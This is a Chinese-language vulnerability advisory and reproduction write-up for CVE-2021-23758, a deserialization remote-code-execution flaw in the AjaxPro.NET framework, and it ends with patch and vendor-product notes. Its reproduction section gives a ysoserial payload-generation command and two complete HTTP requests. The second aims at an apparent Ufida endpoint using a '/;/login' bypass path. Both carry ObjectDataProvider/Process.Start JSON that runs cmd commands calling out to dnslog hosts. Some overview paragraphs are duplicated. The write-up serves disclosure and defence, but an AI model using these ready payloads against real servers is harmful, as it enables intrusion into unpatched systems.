Ajax.NET Professional (AjaxPro)是最先把 AJAX 技术应用在微软.NET 环境下框架之一,具有部署简单、使用方便、运行高效等特点; 该框架能够创建一个代理类且可以使客户端的 JS 代码实现调用服务端的方法,并能返回各种在.NET 里使用的类型;使用该框架和直接使用.NET 基本无差别。近日,新华三攻防实验室威胁预警团队监测到网上爆发了 AjaxPro.NET 反序列化漏洞 (CVE-2021-23758),成功利用此漏洞可以在受害主机上执行任意代码,本团队对该漏洞进行了复现和分析。
2021 年秋,MOGWAI LABS 实验室在为客户进行渗透测试过程中发现了开源组件 “Ajax.NET Professional” 中的一个反序列化漏洞 (CVE-2021-23758),如下是对漏洞的详细分析。
在 ASP.NET 站点中使用 Ajaxpro 组件时发现的安全漏洞 CVE-2021-23758,攻击者可通过构造恶意 payload 执行远程代码执行(RCE),展示了如何利用 ObjectDataProvider 和 ProcessStartInfo 进行攻击。
https://vuldb.com/zh/?id.187524
https://www.cve.org/CVERecord?id=CVE-2021-23758
# x00 漏洞概述
2021 年秋,MOGWAI LABS 实验室在为客户进行渗透测试过程中发现了开源组件 “Ajax.NET Professional” 中的一个反序列化漏洞 (CVE-2021-23758),如下是对漏洞的详细分析。
Ajax.NET Professional 简介
Ajax.NET Professional 是一个开源软件项目,在二零零几年时非常流行,现在仍然可以找到基于该框架的应用程序。GitHub 官方库对它的描述为,“Ajax.NET Professional (AjaxPro) 是微软 ASP.NET 的首批 AJAX 框架之一。该框架将创建 JavaScript 代理类用于客户端上,以调用 web 服务器上的方法,在所有常见 web 浏览器(包括移动设备在内)上具有完整的数据类型支持。返回自己的类、结构、数据集、枚举等等,就如直接在 .NET 中所作的那样。”
“完整的数据类型支持” 和 “自己的类 “这类短语总是引起我们的注意,因为它们意味着序列化 / 反序列化流程非常灵活,随后我们将详细讨论这一问题。
# x01 影响范围
package AjaxPro.2 < v21.12.8.1
# x02 复现
- 一般出现在 asp.net 的站点
打开页面,源代码会看到 类似 /ajaxpro/gust_search,wlms.ashx 路径
如果有源代码的话,copy aspx all.txt
去掉分号中间空格批量请求。
- ajaxpro 组件存在 CVE-2021-23758 漏洞,标有属性
[AjaxPro.AjaxMethod]或[AjaxMethod],并且接收 object 类型参数的方法能够 rce
搜索 public & object
obj 对应 object 后的参数
X-Ajaxpro-Method 对应 object 前的类,如果带 method 就不需要了
生成 payload 替换下面列表
ysoserial.exe -g objectdataprovider -f JavaScriptSerializer -c "ping dnslog" -o raw |
POST /ajaxpro/gust_search,ppms.ashx?method=Ajaxpro HTTP/2 | |
Host: 127.0.0.1 | |
Cookie: ASP.NET_SessionId=pvht0n45im23adqck1mlurap | |
Content-Length: 584 | |
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96" | |
X-Ajaxpro-Method: Ajaxpro | |
Content-Type: text/plain; charset=UTF-8 | |
Sec-Ch-Ua-Mobile: ?0 | |
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 | |
Sec-Ch-Ua-Platform: "Windows" | |
Accept: */* | |
Origin: https://localhost:44375 | |
Sec-Fetch-Site: same-origin | |
Sec-Fetch-Mode: cors | |
Sec-Fetch-Dest: empty | |
Referer: https://localhost:44375/demo | |
Accept-Encoding: gzip, deflate | |
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 | |
{"obj":{ | |
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", | |
"MethodName":"Start", | |
"ObjectInstance":{ | |
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", | |
"StartInfo": { | |
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", | |
"FileName":"cmd", | |
"Arguments":"/c ping 123.dnslog.cn" | |
} | |
} | |
}} |
POST /ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore/;/login HTTP/1.1 | |
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 | |
X-Ajaxpro-Method: GetStoreWarehouseByStore | |
Host: 192.168.37.168:8080 | |
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 | |
Connection: close | |
Content-type: application/x-www-form-urlencoded | |
Content-Length: 604 | |
{ | |
"storeID":{ | |
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", | |
"MethodName":"Start", | |
"ObjectInstance":{ | |
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", | |
"StartInfo": { | |
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", | |
"FileName":"cmd", "Arguments":"/c ping d4e5b59b8a.ipv6.1433.eu.org." | |
} | |
} | |
} | |
} |
# x03 漏洞背景
Ajax.NET Professional (AjaxPro) 是最先把 AJAX 技术应用在微软.NET 环境下框架之一,具有部署简单、使用方便、运行高效等特点; 该框架能够创建一个代理类且可以使客户端的 JS 代码实现调用服务端的方法,并能返回各种在.NET 里使用的类型;使用该框架和直接使用.NET 基本无差别。近日,新华三攻防实验室威胁预警团队监测到网上爆发了 AjaxPro.NET 反序列化漏洞 (CVE-2021-23758),成功利用此漏洞可以在受害主机上执行任意代码,本团队对该漏洞进行了复现和分析。
# x04 漏洞原理
该漏洞是由于 AjaxPro 开源组件.NET Class Handler 存在对输入数据限制检查不严格引起的;该 AjaxPro 框架在 JavaScriptDeserializer.DeserializeFromJson 函数反序列化过程中,如果通过 __type 获取的 Type 对象且可对其 Type 对象修改,攻击者可利用该漏洞在目标主机上执行任意代码。
# x05 修复方案
-
目前官方已发布最新版本,请受影响用户尽快更新。
https://github.com/michaelschwarz/Ajax.NETProfessional/releases/tag/v21.12.8.1 -
新华三解决方案
- 新华三安全设备防护方案
新华三 IPS 规则库将在 1.0.161 版本支持对该漏洞的识别,新华三全系安全产品可通过升级 IPS 特征库识别该漏洞的攻击流量,并进行主动拦截。。
- 新华三态势感知解决方案
新华三态势感知已支持该漏洞的检测,通过信息搜集整合、数据关联分析等综合研判手段,发现网络中遭受该漏洞攻击及失陷的资产。
- 新华三云安全能力中心解决方案
新华三云安全能力中心知识库已更新该漏洞信息,可查询对应漏洞产生原理、升级补丁、修复措施等。